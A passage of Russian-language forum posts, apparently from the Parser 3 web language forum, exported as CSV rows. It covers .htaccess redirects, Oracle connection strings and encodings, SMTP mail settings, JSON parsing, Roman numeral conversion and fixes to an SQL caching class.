    ExpiresByType application/xhtml+xml \"access plus 600 seconds\"\
</ifModule>\
\
[/code]"
"84036","К парсеру это имеет мало отношение, но может еще кто столкнется. Видна проблема с редиректом на https, причем касается она конкретно папки aero, поскольку пара других адресов проблемы не имеет (см. ниже). Подозреваю что:\
\
1. в папке aero есть свой .htaccess\
2. директория cgi-bin у вас находится в веб-пространстве (то есть на нее распространяется корневой .htaccess).\
\
В любом случае будет правильно cgi-bin создать свой файл .htaccess, в котором написать RewriteEngine Off, что решит проблему с некорректным редиректом. Ну а чтобы далее в /aero/ таки работал редирект на https, это уже наверное надо включать наследование правил и смотреть чтобы они не конфликтовали...\
\
>lynx --mime_header \"http://lifesky.ru/aero/\"\
HTTP/1.1 301 Moved Permanently\
Date: Mon, 27 Feb 2017 20:01:52 GMT\
Server: Apache/2.4.18 (Ubuntu)\
Location: https://lifesky.ru/cgi-bin/lifesky_parser3.cgi/aero/index.html\
Content-Length: 346\
Connection: close\
Content-Type: text/html; charset=iso-8859-1\
\
\
>lynx --mime_header \"http://lifesky.ru/add/\"\
HTTP/1.1 301 Moved Permanently\
Date: Mon, 27 Feb 2017 20:01:34 GMT\
Server: Apache/2.4.18 (Ubuntu)\
Location: https://lifesky.ru/add/\
Content-Length: 307\
Connection: close\
Content-Type: text/html; charset=iso-8859-1\
\
Юlynx --mime_header \"http://lifesky.ru/about/\"\
HTTP/1.1 301 Moved Permanently\
Date: Mon, 27 Feb 2017 20:03:47 GMT\
Server: Apache/2.4.18 (Ubuntu)\
Location: https://lifesky.ru/about/\
Content-Length: 309\
Connection: close\
Content-Type: text/html; charset=iso-8859-1"
"84037","Сразу прошу сильно не пинать, опыт Парсера не высокий.\
\
Но поступила нужда отладить некий сайт, писаный жестоко, о основном весь и прямо в auto.p\
\
По ходу разбора наступил на конструкцию вида:\
\
\
[code]\
^if(def ^method[]){ ^method[] }\
\
@method[]\
$some_var[text]\
$result[$some_var]\
[/code]\
\
Это не бред часом? Или я чего-то не понимаю?\
Чего def на самом деле происходит? \
Тупо скалярного значения которое приходит в итоге из result?\
Это вообще законно?\
\
Спасибо."
"84038","Возможно кому-то было лень писать\
[code]$v[^method[]]\
^if(def $v){ $v }[/code].\
\
Наличие метода тоже можно проверить, но это делается [url=\"http://www.parser.ru/docs/lang/opis.htm\"]иначе[/url], [code]^if($method is junction)[/code]."
"84039","Привет.\
\
Встала задача очистить текст от HTML.\
\
Есть БД стендалон-блога, в ней посты с разметкой. И из них, из постов, я формирую метатег description.\
\
[code]@findblogdescr[]\
$formdescr[$thismessage.text]\
$fromleft[^formdescr.split[.;lh]]\
$fromright[^formdescr.split[.;rh]]\
${thismessage.h1}... ${fromleft.0}. ^if(def $fromright.4 && $fromright.4 ne $fromleft.0){$fromright.4}{$fromright.0}.[/code]\
\
Последняя строка суёт мне в мету <p></p> и прочее такое. А есть ли способ избавиться от этого? Untaint (и Process-Untaint:)) этой строки не дает ничего, Taint дает ошибку (must not be code)... а как поступить?"
"84040","[code]$string[^string.match[<\\\\?[^^>]+/?>;g; ]]\
$string[^string.match[\\s+;g; ]]\
$string[^string.trim[]][/code]"
"84043","Два часа смотрю на код - не вижу ошибки.\
\
Задачей было быстро и просто считать источники посещений по get-запросам вида http://domain.ru?iamfrom=otteda\
\
[code]^form:fields.foreach[field;value]{^if($field eq 'iamfrom'){\
$was(^if(-f '/0counters/${value}.txt'){$getnumber[^file::load[text;/0counters/${value}.txt]]$getnumber.text}{0})\
$was($was+1)\
$turned[$was]\
^turned.save[/0counters/${value}.txt]\
}}\
[/code]\
\
Файлы типа /0counters/otteda.txt с единичкой внутри исправно появляются, но не инкрементируются - то ли условие [b]^if(-f '/0counters/${value}.txt')[/b] выполняется всегда отрицательно, то ли [b]$getnumber.text[/b] не даёт текста файла [b]^file::load[text;/0counters/${value}.txt].[/b]\
\
Wazzup?! :("
"84045","Переключили работающий проект на Parser 3.4.5 RC и сразу словили ошибки:\
1. class is undefined\
2. undefined class in @BASE\
\
@autouse объявлен, но не вызывается.\
\
1. Вид ошибок - при обращении к несуществующему классу из кода. Если перед сделать ^use[...] то все начинает работать.\
\
2. Аналогичная проблема при объявлении в @BASE еще не подключенного класса. Если сделать @USE, то все также начинает работать.\
\
Что-то сломалось или появилась особенность работы autouse?"
"84046","Работа @autouse [url=\"http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/226.html?revision=1.2&view=markup\"]тестируется[/url], так что:\
\
[quote]1. Вид ошибок - при обращении к несуществующему классу из кода. Если перед сделать ^use[...] то все начинает работать.\
[/quote]\
\
Такого по-идее не должно быть.\
\
[quote]2. Аналогичная проблема при объявлении в @BASE еще не подключенного класса. Если сделать @USE, то все также начинает работать.[/quote]\
\
Посмотрел - тоже не видно изменений с 3.4.4. Если @autouse добавлен до объявления класса, то он вполне себе вызывается.\
\
Так что боюсь нужен bug.html, ну или архив пришлите, если пример с ошибкой сделать проблематично - поскольку ошибка проявляется во время компиляции, до работы дела не доходит, значит всякие БД и прочие не нужны, должно быть достаточно архива с исходниками.\
\
Note: правильно понимаю, что сейчас 3.4.4 и в ней все OK?"
"84047","А есть ли какой-нибудь способ потом перебрать все файлы в папке, если их имена заведомо неизвестны?\
\
Ну вот получил я otteda.txt и otseda.txt в папке счетчиков - можно ли их вывести в админку, заранее не складируя нигде прописанных вариантов источников посещения (= имен файлов)?"
"84048","Не знаю, хорошо ли это с точки зрения треклятого SEO, но я на своих сайтах расставляю неразрывные пробелы не через &nbsp; - такие не тянутся при text-align: justify; - а через <span></span> всех неразрывных последовательностей плюс span {white-space: nowrap;} в стилях.\
\
Руками. Это вымораживает.\
\
Было бы здорово придумать алгоритм, который, проходясь по $content, сам бы находил и_, И_, и_не_, а_не_ и так далее с последующим словом неизвестной длины и окружал всё это спэнами.\
\
Список образцов предлогов-союзов ПЕРЕД словом (и \"ж\", \"же\", \"-то\" после него) я составлю, но и слово может быть неизвестной длины, и за ним может следовать любая пунктуация, включая \"?!\" и \"...\". Так что финальным объектом сопоставляемого образца должен быть пробел, а замены - пробел минус один символ (он сам).\
\
Ну, то есть:\
\
[code]$string[И днем, и ночью лишь она передо мной, а кому ж ещё?]\
$editedstring[\
# некая обработка $string\
]\
$editedstring[/code]\
\
[b]<span>И днем,</span> <span>и ночью</span> лишь она передо мной, <span>а кому ж</span> ещё?[/b]\
\
И вообще, стоит ли оно того, или реализация будет ещё более трудозатратна, чем прописывать руками дальше?"
"84052","настройка которая вас интересует лежит здесь\
[code]<nowraped insert=\"1\" nonbsp=\"0\" length=\"0\">\
		<start><![CDATA[<nobr>]]></start>\
		<end><![CDATA[</nobr>]]></end>\
	</nowraped>[/code]\
\
Будет обрамлять в <nobr>...</nobr>, текст внутри отлично тянется при align=\"justify\""
"84053","Доброго времени суток! Подскажите пожалуйста как установить Parser 3.4.4 на Open Server?"
"84054","Конфигурации для nginx есть только под [url=\"/forum/?id=75372\"]Unix[/url], вероятно никто подобным не занимался..."
"84058","Всем привет! \
Первый раз пишу на форум с просьбой помочь, потому что уже даже не знаю где найти ответ на такой вопрос :\
\
Есть Oracle база на хосте, отличном от сервака с парсером.\
Нужно подключиться к этой базе, данные для доступа такие:\
\
Hostname - serv2.local (172.20.20.20), порт - стандартный\
ServiceName - OSERVICE\
User - USER\
Password - PASSWORD\
\
Как получить правильную строку подключения? И возможно  ли это вообще?\
\
\
\
------\
\
Отдельно хочу сказать спасибо за такой движок, как парсер. Очень жаль что его всё меньше и меньше обновляют, совершенно не представляю на что его можно променять. Изучать PHP с его кучей кода даже не хочется, а что то аналогичное, такое же простое в изучении и создании небольших сайтов, найти не могу"
"84059","http://www.parser.ru/docs/lang/?app3oracle.htm\
\
Насчет обновлений - это вы зря. Очень даже активно обновляется parser"
"84060","Ну я же не просто так спрашиваю) в документации не написано как вклинить еще и адрес Хоста в запрос. \
На счет обновлений как сказать.. да, они выходят, но не чувствуется что работа быстро идёт. Да и судя по форуму сообщество не слишком активно"
"84061","[quote]в документации не написано как вклинить еще и адрес Хоста в запрос. [/quote]\
\
Его не надо никуда вклинивать. Имя сервиса и есть связь с хостом/портом, в документации Oracle можно изучить это подробнее:\
\
https://docs.oracle.com/cd/B10501_01/network.920/a96580/gettings.htm#483215\
\
P.S. Правильно понимаю, что драйвер Oracle для парсера вы уже собрали? Боюсь это куда сложнее, чем записать строку подключения..."
"84062","Спасибо, попробую. Там же не нужно никаких аддонов даже если по сети подключаешься?\
Драйвер да, собрал"
"84063","По-идее нет. Кстати посмотрел на одном из сайтов, там есть разные варианты, но активное подключение имеет классический для остальных SQL серверов вид, хотя возможно это и не имя хоста, а имя в каком-нибудь конфиге. Думаю еще и отверсии oracle зависит.\
\
$SQL.connect-string[oracle://login:password@host/name?NLS_LANG=ENGLISH_CIS.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS&ClientCharset=WINDOWS-1251]"
"84064","Хотелось бы сделать метод, который, руководствуясь своими критериями, прерывал бы выполнение вызвавшего его метода и возвращал результат.\
\
Например:\
[code]@main[]\
^a[]\
\
@a[]\
$var[result]\
\
^b[]\
\
$result[a]\
\
@b[]\
^caller.return[$caller.var][/code]\
\
И метод a вернул бы «result».\
\
Можно ли такое сделать?"
"84065","Технически можно, но понятно не таким синтаксисом, а либо ^return с дополнительным параметром, либо отдельный метод делать. Но боюсь никакой нормальный человек такой код не поймет - у некоторых даже return вызывает сомнения, а это на порядок более мутная конструкция."
"84066","[quote]никакой нормальный человек такой код не поймет[/quote]\
\
Это специфический случай — вывод отладочной информации или сформированных методом SQL-запросов.\
\
И решил, что:\
[code]@method[…;options]\
…\
^self.debug[$info;$options]\
…\
$result[…]\
\
@method2[…;options]\
…\
^self.debug[$info;$options]\
…\
$result[…]\
\
@debug[info;options]\
^if(^options.debug.bool(true)){\
	^caller.return[$info]\
}\
[/code]\
лучше, чем:\
[code]@method[…;options]\
…\
^if(^options.debug.bool(true)){\
	^return[…]\
}\
…\
$result[…]\
\
@method2[…;options]\
…\
^if(^options.debug.bool(true)){\
	^return[…]\
}\
…\
$result[…]\
[/code]\
\
Но, раз return такого не умеет, ограничусь повтором проверки опции."
"84067","Можно например так:\
\
[code]@method[…;options]\
…\
^if($debug){ ^return[$info] }\
…\
$result[…]\
\
@method2[…;options]\
…\
^if($debug){ ^return[$info] }\
…\
$result[…]\
\
@GET_debug[]\
$result(^caller.options.debug.bool(true))\
[/code]\
\
Ну или передать ^return[$info] параметром в ^debug,\
\
[code]@method[…;options]\
…\
^if_debug{ ^return[$info] }\
…\
$result[…]\
\
@method2[…;options]\
…\
^if_debug{ ^return[$info] }\
…\
$result[…]\
\
@if_debug[action]\
^if(^caller.options.debug.bool(true)){\
        $action\
}\
[/code]"
"84068","Поправка: первый вариант читать как ^if(^debug[]){ ^return[$info] }. У геттеров кажется нет $caller."
"84069","Вариант вполне рабочий.\
\
Правда, смущает, что метод будет обращаться к полю класса для получения флага."
"84070","Как оказалось, конструкция\
[code]@has[object;method]\
$result(^reflection:method[$object;$method] is junction || ^reflection:field[$object;$method] is junction)[/code]\
таки не работает для геттер-методов:\
\
[code]@main[]\
$test[^test::create[$.a[b]]]\
\
$test.foreach.CLASS_NAME ^if(^has[$test;foreach])[y;n]\
\
@has[object;method]\
$result(^reflection:method[$object;$method] is junction || ^reflection:field[$object;$method] is junction)\
\
\
@CLASS\
test\
\
@create[data]\
$self.data[$data]\
\
@GET_foreach[]\
$result[^reflection:method[$self.data;foreach]][/code]"
"84071","У сайта почта расположена на сервисе pdd.yandex.ru\
Соответственно стоит задача отправлять письма через smtp сервера яндекса.\
\
адрес почтового сервера — smtp.yandex.ru;\
защита соединения — SSL;\
порт — 465.\
\
Ну и соответственно еще логин и пароль от ящика для отправки.\
\
вопрос где в параметрах ^mail:send[…] это все прописать?\
\
В документации есть про указание в конфигах:\
 [code]\
$MAIL[ \
   $.SMTP[mail.office.design.ru] \
] \
[/code]\
а остальное где указать? Будет ли отправка работать через SSL ?"
"84072","[quote]У сайта почта расположена на сервисе pdd.yandex.ru\
Соответственно стоит задача отправлять письма через smtp сервера яндекса.[/quote]\
\
Не вижу никакой связи. То, где у вас MX никак не связано с тем, с каких IP адресов будет отправляться почта этого домена. То есть это можно ограничить в SPF, но на практике почта сайта обычно отправляется с сервера где он хостится.\
\
> а остальное где указать? Будет ли отправка работать через SSL ?\
\
Нет, так поддерживается только базовый SMTP, без SSL и авторизации."
"84073","была такая тема уже http://www.parser.ru/forum/?id=39655, но этому посту уже миллион лет и ссылка, естественно, не рабочая. \
\
Может у кого остался файлик с подсветкой синтаксиса?"
"84074","Спасибо за ответы, удалось подключиться. Вместо dns адреса указывал ip в итоге. \
Вообще как то мутно всё с этим ораклом. \
Теперь начались  проблемы с кодировкой. Вместо кириллицы выводит знаки вопроса ????\
\
Строка подключения:\
oracle://LOGIN:PASS@IP/SERVICE?\
NLS_LANG=AMERICAN_AMERICA.UTF8\
&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS\
&ClientCharset=WINDOWS-1251\
\
У базы NLS_LANG = CL8MSWIN1251\
Кодировка страниц UTF-8\
\
При подключении через SqlPlus удалось победить эту хрень предварительно сделав\
export NLS_LANG=\"UTF8\"\
в терминале\
\
Как следует правильно сделать? И в чём разница между параметрами ClientCharset и NLS_LANG в запросе?"
"84075","[quote]Вообще как то мутно всё с этим ораклом. [/quote]\
\
Угу, он такой. :)\
\
[quote]И в чём разница между параметрами ClientCharset и NLS_LANG в запросе?[/quote]\
\
[url=\"http://www.parser.ru/docs/lang/?app3clientcharset.htm\"]ClientCharset[/url] если у вас все в UTF-8 задавать не надо.\
\
[quote]При подключении через SqlPlus удалось победить эту хрень предварительно сделав export NLS_LANG=\"UTF8\" в терминале[/quote]\
\
Тогда почему при подключении в парсере указываете AMERICAN_AMERICA.UTF8? Все установки вида NLS_* просто ставят указанные переменные окружения перед подключением. Как работает из консоли, ровно такие же настройки NLS_* надо задавать в параметрах подключения."
"84076","Ошибся, NLS_LANG=\"AMERICAN_AMERICA.UTF8\" - опечатался, экспорт тоже был с языком, и там и там одинаково, но в терминале заработало, а в парсере нет("
"84077","Но вообще Oracle тот еще подарок, так что не удивительно. :) А вариант из примера в документации не работает?\
\
[quote]\
Допустим данные в вашей базе хранятся в кодировке windows-1251, строку подключения стоит написать так:\
...?ClientCharset=windows-1251&NLS_LANG=RUSSIAN_AMERICA.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS[/quote]\
\
Или как в моем примере:\
\
[quote]NLS_LANG=ENGLISH_CIS.CL8MSWIN1251&NLS_DATE_FORMAT=YYYY-MM-DD HH24:MI:SS&ClientCharset=WINDOWS-1251[/quote]"
"84078","Неа, оба примера выдают ??????\
\
Я уже как только не комбинировал"
"84079","Тут боюсь к тому кто Oracle администрирует, может с его стороны что не так. Или после установки соединения надо что-нибудь сказать (аналог set names utf8 в mysql). В любом случае это все настраивается только в Oracle, что его библиотеки выдают, то парсер и выводит. Код драйвера достаточно простой, в чем можно убедиться самостоятельно."
"84080","Хостеру важно где mx записи.\
Упорно не дает возможности просто так отправлять почту т.к. у него нет на сервере такого почтового домена."
"84081","Переносили сайты на десятки разных хостеров, но нигде с таким не сталкивался. Обычно во From можно написать любой адрес, хоть god@heavens.org. Вот например письма с этого форума:\
[quote]\
Received: by rol1.design.ru (Postfix, from userid 1120)\
	id 3E78F239403; Wed,  5 Apr 2017 21:26:14 +0300 (MSK)\
From: \"maxim2\" <forum@parser.ru>[/quote]\
\
Но в любом случае это легко обходится - поставить во From: no-reply@<допустимый домен>, а в Reply-To: требуемый адрес."
"84082","Типа 12 -> XII\
Форум что-то ничего не подсказал"
"84083","[code]\
# parser 3.4.0+\
@num2roman[n][locals]\
$result[]\
$nums[^hash::create[\
	$.1000[M]\
	$.900[CM]\
	$.500[D]\
	$.400[CD]\
	$.100[C]\
	$.90[XC]\
	$.50[L]\
	$.40[XL]\
	$.10[X]\
	$.9[IX]\
	$.5[V]\
	$.4[IV]\
	$.1[I]\
]]\
^while($n > 0){\
	^nums.foreach[k;v]{\
		^while($n >= $k){		\
			$result[${result}$v]\
			$n($n-$k)\
		}\
	}\
}\
\
[/code]\
\
[code]^num2roman[121] => CXXI[/code]"
"84085","[code]@roman2num[s][locals]\
$result(0)\
$s[^s.upper[]]\
$nums[^hash::create[\
	$.M[1000]\
	$.D[500]\
	$.C[100]\
	$.L[50]\
	$.X[10]\
	$.V[5]\
	$.I[1]\
]]\
# reverse $s string \
$s[^for[i](0;^s.length[]){^s.mid(^s.length[]-$i;1)}]\
\
$last(0)\
\
^for[i](0;^s.length[]){\
	$current[^s.mid($i;1)]\
	^if($nums.$current >= $last){\
		$result($result + $nums.$current)\
	}{\
		$result($result - $nums.$current)\
	}\
	$last($nums.$current)\
}\
\
^roman2num[CXXI] => 121\
[/code]"
"84086","Здравствуйте\
Использую Centos 5, соответственно glibc-2.5. Nconvert взял с офф. сайта. При запуске требует glibc-2.7 и выше. Как заставить работать или где взять исходники Nconvert?"
"84087","[code]@roman2num[s][locals]\
$result(0)\
$s[^s.upper[]]\
$length(^s.length[])\
\
$nums[\
	$.M(1000)\
	$.D(500)\
	$.C(100)\
	$.L(50)\
	$.X(10)\
	$.V(5)\
	$.I(1)\
]\
# reverse $s string \
$s[^for[i](1;$length){^s.mid($length-$i;1)}]\
\
$last(0)\
\
^for[i](0;$length - 1){\
	$current[^s.mid($i;1)]\
	^if($nums.$current >= $last){\
		$result($result + $nums.$current)\
	}{\
		$result($result - $nums.$current)\
	}\
	$last($nums.$current)\
}[/code]\
\
Без лишних итераций и преобразований строк в числа."
"84088","Это форум по парсеру, а не по Nconvert. Насколько понимаю исходников не бывает, так что искать старую версию или поставить ImageMagick в качестве альтернативы."
"84089","Здравствуйте,\
пытаюсь понять как работает обмен JSON и Parser/\
Решил значения куки записывать в localStorage, извлекать из localStorage и передавать через $post в Parser.\
Проблема в том, что неправильно передаю и не могу понять как сделать, чтобы работало.\
\
[code]\
var now = Date.now();\
var cObj = getCookies();\
//Получение всех cookie\
function getCookies() {\
 if(!document.cookie || document.cookie.length<2) return {};\
 var result = {}, cookie, allcookie = document.cookie.split(';');\
 for (var i = 0; i < allcookie.length; i++) {\
  cookie = allcookie[i].split('=');\
  cookie[0] = cookie[0].replace(/ +/g,'');\
  result[cookie[0]] = decodeURIComponent(cookie[1]);\
 }\
 return result;\
};\
//Запись в localStorage данных cookie\
function setStorage (name, value, create) {\
 var cookie = {\
  name: name,\
  value: value,\
  create: create\
 };\
 localStorage.setItem (cookie.name, JSON.stringify(cookie));\
}\
for (var key in cObj) {\
 var cName = key,\
 cValue = cObj[key];\
 var sName = localStorage.getItem(cName),\
 sValue = JSON.parse(sName);\
 if (sName == null && sValue == null) {\
  setStorage(cName, cValue, now);\
 } else if (cValue != sValue.value) {\
  setStorage(cName, cValue, now);\
 } else if (cValue == sValue.value) {\
  postStorage();\
 }\
}\
//Отправка localStorage\
function postStorage () {\
 var lStorage = '';\
 for (var i=0; i < localStorage.length; i++) {\
  var sName = localStorage.key(i),\
  sValue = localStorage.getItem(localStorage.key(i))\
  sData = JSON.parse(sValue);\
  if (sValue) {\
   lStorage += sData.name + ':' + sValue;\
  }\
 }\
 $.post('/bulk/ajax/auth.html', {\
  lStorage\
 }, function(html) {\
  $('#info').html(html);\
 });\
}\
[/code]\
\
Задача отправить в /bulk/ajax/auth.html все три на текущий момент значения записанные в localStorage и обработать их с помощью Parser.\
\
На выходе у меня получается строка\
[code]\
bID:{\"name\":\"bID\",\"value\":\"963F8753-E7C1-4A91-B335-020ECAE22119\",\"create\":1491501338238}cID:{\"name\":\"cID\",\"value\":\"4CE38A65-1D6A-4BAD-B62B-49BAFE907521\",\"create\":1491553700525}sID:{\"name\":\"sID\",\"value\":\"guest\",\"create\":1491553700525}\
[/code]\
\
Которая не обрабатывается, что мне сделать?"
"84090","Я конечно извиняюсь, что написал не по теме, я это знал. А сюда написал потому, что может кто сталкивался с подобным, и знает решение. Я 2 дня убил на поиски, а переустанавливать \"боевую\" машинку не особо хочется."
"84091","[quote]Решил значения куки записывать в localStorage, извлекать из localStorage и передавать через $post в Parser.[/quote]\
\
Для чего?\
\
Фактически, cookie — это уже local storage, только примитивный."
"84092","Пытаюсь понять возможности, хочу сохранять недописанные тексты в формах, попробовать отказаться от cookie"
"84093","[quote]На выходе у меня получается строка Которая не обрабатывается, что мне сделать?[/quote]\
\
Что значит «не обрабатывается»?\
\
Это вообще не JSON, сформируйте корректный документ и парсер сможет его разобрать."
"84094","Теперь вид такой:\
{\"bID\":\"{\\\"name\\\":\\\"bID\\\",\\\"value\\\":\\\"B79DAC9F-2AAD-46F7-A9D4-EC29E7B9E57C\\\",\\\"create\\\":\\\"2017-04-09 13:33:28\\\"}\",\"cID\":\"{\\\"name\\\":\\\"cID\\\",\\\"value\\\":\\\"41A9846D-8CCD-4297-BA7D-10372C5ED55A\\\",\\\"create\\\":\\\"2017-04-09 14:23:35\\\"}\",\"sID\":\"{\\\"name\\\":\\\"sID\\\",\\\"value\\\":\\\"guest\\\",\\\"create\\\":\\\"2017-04-09 13:33:28\\\"}\"}\
\
Похоже на JSON.\
Подключил плагин $.toJSON для правильной конвертации из JS.\
\
Данные из JS передаются методом $.post\
\
[code]\
//Отправка localStorage\
function postStorage (data) {\
  $.post('/bulk/ajax/auth.html', {\
    storage: $.toJSON(data)\
  }, function(html) {\
    $('#info').html(html);\
  });\
}\
[/code]\
\
На странице-обработчике $form:storage как раз получаю этот некий JSON.\
\
[code]\
$json_string[$form:storage]\
$h[^json:parse[$json_string]]\
^h.foreach[key;value]{\
  $key=$value\
}[<br>]\
[/code]\
\
В логах следующая ошибка:\
[quote]\
/bulk/ajax/auth.html(22:14): 'parse' empty string is not valid json [json.parse] [uri=/bulk/ajax/auth.html, method=POST, cl=0]\
/bulk/ajax/auth.html(22:14): 'parse' illegal quote escape, json may be tainted at line 1 {\\\"bID\\\":\\\"{\\\\\\\"name\\\\\\\":\\\\\\\"bID\\\\\\\",\\\\\\\"value\\\\\\\":\\\\\\\"B79DA ^ [json.parse] [uri=/bulk/ajax/auth.html, method=POST, cl=553]\
[/quote]"
"84095","[quote]Теперь вид такой:\
{\"bID\":\"{\\\"name\\\":\\\"bID\\\",\\\"value\\\":\\\"B79DAC9F-2AAD-46F7-A9D4-EC29E7B9E57C\\\",\\\"create\\\":\\\"2017-04-09 13:33:28\\\"}\",\"cID\":\"{\\\"name\\\":\\\"cID\\\",\\\"value\\\":\\\"41A9846D-8CCD-4297-BA7D-10372C5ED55A\\\",\\\"create\\\":\\\"2017-04-09 14:23:35\\\"}\",\"sID\":\"{\\\"name\\\":\\\"sID\\\",\\\"value\\\":\\\"guest\\\",\\\"create\\\":\\\"2017-04-09 13:33:28\\\"}\"}[/quote]\
\
Это не JSON.\
\
Должно получиться нечто такое:\
[code]{\
    \"bID\": {\
        \"create\": \"2017-04-09 13:33:28\",\
        \"name\": \"bID\",\
        \"value\": \"B79DAC9F-2AAD-46F7-A9D4-EC29E7B9E57C\"\
    },\
    \"cID\": {\
        \"create\": \"2017-04-09 14:23:35\",\
        \"name\": \"cID\",\
        \"value\": \"41A9846D-8CCD-4297-BA7D-10372C5ED55A\"\
    },\
    \"sID\": {\
        \"create\": \"2017-04-09 13:33:28\",\
        \"name\": \"sID\",\
        \"value\": \"guest\"\
    }\
}[/code]\
\
[quote]хочу сохранять недописанные тексты в формах[/quote]\
\
Для чего при этом отправлять тексты на сервер?\
Пусть хранятся у клиента в localStorage и подставляются в формы, если пользователь вернётся их заполнению."
"84096","Сделал приблизительное форматирование, получается вот так:\
\
[code]\
{\"bID\":{\"name\":\"bID\",\"value\":\"B79DAC9F-2AAD-46F7-A9D4-EC29E7B9E57C\",\"create\":\"2017-04-09 14:53:44\"},\"cID\":{\"name\":\"cID\",\"value\":\"41A9846D-8CCD-4297-BA7D-10372C5ED55A\",\"create\":\"2017-04-09 14:53:44\"},\"sID\":{\"name\":\"sID\",\"value\":\"guest\",\"create\":\"2017-04-09 14:53:44\"}}\
[/code]\
\
Если это разбить в редакторе вручную:\
\
[code]\
{\
  \"bID\":{\
    \"name\":\"bID\",\
    \"value\":\"B79DAC9F-2AAD-46F7-A9D4-EC29E7B9E57C\",\
    \"create\":\"2017-04-09 14:53:44\"\
  },\
  \"cID\":{\
    \"name\":\"cID\",\
    \"value\":\"41A9846D-8CCD-4297-BA7D-10372C5ED55A\",\
    \"create\":\"2017-04-09 14:53:44\"\
  },\
  \"sID\":{\
    \"name\":\"sID\",\
    \"value\":\"guest\",\
    \"create\":\"2017-04-09 14:53:44\"\
  }\
}\
[/code]\
\
Лучше не стало, все равно ошибка.\
Самое интересное в том, что когда просто вставляю строку в $json_string, то все хорошо, а при получении $form:storage ничего не работает.\
\
[code]\
$json_string[$form:storage]\
$h[^json:parse[$json_string]]\
^h.foreach[key;value]{\
  $key=$value\
}[<br>]\
[/code]\
\
[quote]\
/bulk/ajax/auth.html(23:14): 'parse' empty string is not valid json [json.parse] [uri=/bulk/ajax/auth.html, method=POST, cl=0]\
/bulk/ajax/auth.html(23:14): 'parse' illegal quote escape, json may be tainted at line 1 {\\\"bID\\\":{\\\"name\\\":\\\"bID\\\",\\\"value\\\":\\\"B79DAC9F-2AAD-46F7-A9 ^ [json.parse] [uri=/bulk/ajax/auth.html, method=POST, cl=427]\
[/quote]"
"84099","Может не в тему, но сам давно слез с nconvert в пользу imagemagick, т.к. таскать его за собой всё время не кошерно, а imagemagick есть везде или легко доустанавливается. К тому же nconvert небесплатен для коммерческого использования.\
\
По Centos 5 - недавно переехали с нее на 6.8, ибо уже достаточно много всего (тот же парсер последних версий) не- или сложноустанавливаемо на пятерку. Чего и вам желаю."
"84100","Решил использовать класс из библиотеки https://www.parser.ru/lib/sql/ для кеширования запросов и обнаружил ошибку.\
\
Запрос ^oSql.hash{select id,name from table}[$.type[string]]\
Без использования  выдает:\
$hash[\
	$.1[name1]\
	$.2[name2]\
	...\
]\
\
При использовании кеша: \
$hash[\
	$.1[\
		$.key[1]\
	]\
	$.2[\
		$.key[2]\
	]\
	...\
]\
\
И второе что заметил, если включить автокеширование, то $.bAuto(0) не отключает кеш и файлы всё равно создаются.\
\
Подскажите как это всё поправить."
"84101","[quote]Подскажите как это всё поправить.[/quote]\
\
Подготовить bug.html, это поможет автору исправить проблему.\
\
Или сделать класс-наследник, и исправить в нём указанные проблемы — вам скажут спасибо пользователи этой библиотеки."
"84102","Всем привет.\
\
Небольшой апдейт для пользователей Parser 3.4.5 RC. Начиная с этой версии Парсера, при использовании [i]autoload.p[/i] теперь есть возможность задавать подключаемым классам алиасы. Легче показать на примере.\
\
Возьмём для примера пакет: [url=\"https://pkg.parser.ru/packages/als/path\"]als/path[/url].\
\
\
Как было раньше:\
1. Мы устанавливали пакет с помощью [i]composer[/i].\
\
2. Прописывали в корневом auto.p:\
[code]@USE\
/vendor/autoload.p[/code]\
\
3. Далее в своих скриптах могли спокойно писать:\
[code]@USE\
Als/Path[/code]\
\
или, прямо в коде вызывать методы:\
[code]^Als/Path:resolve[][/code]\
\
Более всего было не удобно использовать названия классов со слэшами: ^Als/Path:resolve[], ^Als/Utils/Convert:object2str[] и т.д.\
\
\
Теперь же, при подключении класса ему можно задать алиас, например так:\
1. Мы устанавливаем пакет с помощью [i]composer[/i].\
\
2. Прописываем в корневом auto.p:\
[code]@USE\
/vendor/autoload.p[/code]\
\
3. Далее в своих скриптах подключаем нужный класс с указанием алиаса:\
[code]@USE\
Als/Path AS Path[/code]\
\
4. В коде программы используем уже алиас:\
[code]^Path:resolve[][/code]\
\
\
[b]P.S.[/b] Эта возможность [i]autoload.p[/i] работает в экспериментальном режиме, без всяких глубоких проверок при создании алиаса, без эксепшенов и т.д. Если фича будет удобна и полезна, то, соответственно, будет дорабатываться :)"
"84103","Сам исправил методы:\
\
[code]\
@_sql[hOption;jQuery][sFileSpec]\
$sFileSpec[^self._getFileSpec[$hOption]]\
^switch[^self._getFileStatus[$sFileSpec;$hOption]]{\
	^case[load]{\
		$caller.result[^self._load[$hOption.sType;$sFileSpec;$hOption]]\
	}\
	^case[sql;force]{\
		^self._execute{$jQuery}\
	}\
	^case[skip-save]{\
		^self._delete[$sFileSpec]\
		^self._execute{$jQuery}\
	}\
	^case[DEFAULT]{\
		^self._delete[$sFileSpec]\
		^self._execute{$jQuery}\
		^self._save[$hOption.sType;$sFileSpec;$caller.result]\
	}\
}\
$result[]\
\
\
@_getFileSpec[hOptions][result]\
^if(def $hOptions.hCache.sFile){\
	$result[$self.sCacheDir/$hOptions.hCache.sFile]\
}(^hOptions.hCache.bAuto.bool($self.bCacheAuto)){\
	$result[$self.sCacheDir/$self.sCacheAutoSubDir/^math:md5[$hOptions.sQuery]^if(def $hOptions.hSql && ($hOptions.hSql.limit || $hOptions.hSql.offset)){=$hOptions.hSql.limit=$hOptions.hSql.offset}.$hOptions.sType]\
}{\
	$result[]\
}\
\
\
\
@_save[sType;sFileSpec;uValue][tKey;t;c;sKey;sValue]\
^switch[$sType]{\
	^case[int;double;string]{\
		^uValue.save[$sFileSpec]\
	}\
	^case[table]{\
		^uValue.save[$sFileSpec;$.encloser[\"]]\
	}\
	^case[hash]{\
		$tKey[^uValue._keys[]]\
		^if($uValue.[$tKey.key] is \"hash\"){\
			$t[^table::create{key^uValue.[$tKey.key].foreach[sKey;]{^#09$sKey}}]\
			^tKey.menu{^t.append{$tKey.key^uValue.[$tKey.key].foreach[;sValue]{^#09$sValue}}}\
		}($uValue.[$tKey.key] is \"string\"){\
			$t[^table::create{key^#09value}]\
			^tKey.menu{^t.append{${tKey.key}^#09$uValue.[$tKey.key]}}\
